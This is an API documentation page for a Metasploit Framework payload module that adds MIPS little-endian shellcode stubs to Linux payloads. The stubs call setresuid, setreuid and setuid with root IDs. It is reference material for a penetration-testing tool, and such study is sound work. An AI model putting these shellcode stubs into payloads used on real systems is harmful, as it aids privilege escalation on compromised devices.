Module: Msf::Payload::Linux::Mipsle::Prepends

Includes:
Prepends
Defined in:
lib/msf/core/payload/linux/mipsle/prepends.rb

Overview

Linux mipsle prepends

Instance Method Summary collapse

Methods included from Prepends

#apply_prepends, #initialize, #register_prepend_options

Instance Method Details

#appends_mapObject



37
38
39
# File 'lib/msf/core/payload/linux/mipsle/prepends.rb', line 37

def appends_map
  {}
end

#appends_orderObject



11
12
13
# File 'lib/msf/core/payload/linux/mipsle/prepends.rb', line 11

def appends_order
  %w[]
end

#prepends_mapObject



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/payload/linux/mipsle/prepends.rb', line 15

def prepends_map
  {
    # setresuid(0, 0, 0)
    'PrependSetresuid' => "\xff\xff\x04\x28" + #    slti  a0, zero, -1  (a0 = 0)     #
      "\xff\xff\x05\x28" + #    slti  a1, zero, -1  (a1 = 0)     #
      "\xff\xff\x06\x28" + #    slti  a2, zero, -1  (a2 = 0)     #
      "\x59\x10\x02\x24" + #    li    v0, 4185      (__NR_setresuid) #
      "\x0c\x01\x01\x01", #    syscall 0x40404                  #

    # setreuid(0, 0)
    'PrependSetreuid' => "\xff\xff\x04\x28" + #    slti  a0, zero, -1  (a0 = 0)     #
      "\xff\xff\x05\x28" + #    slti  a1, zero, -1  (a1 = 0)     #
      "\xe6\x0f\x02\x24" + #    li    v0, 4070      (__NR_setreuid) #
      "\x0c\x01\x01\x01", #    syscall 0x40404                  #

    # setuid(0)
    'PrependSetuid' => "\xff\xff\x04\x28" + #    slti  a0, zero, -1  (a0 = 0)     #
      "\xb7\x0f\x02\x24" + #    li    v0, 4023      (__NR_setuid) #
      "\x0c\x01\x01\x01", #    syscall 0x40404                  #
  }
end

#prepends_orderObject



7
8
9
# File 'lib/msf/core/payload/linux/mipsle/prepends.rb', line 7

def prepends_order
  %w[PrependSetresuid PrependSetreuid PrependSetuid]
end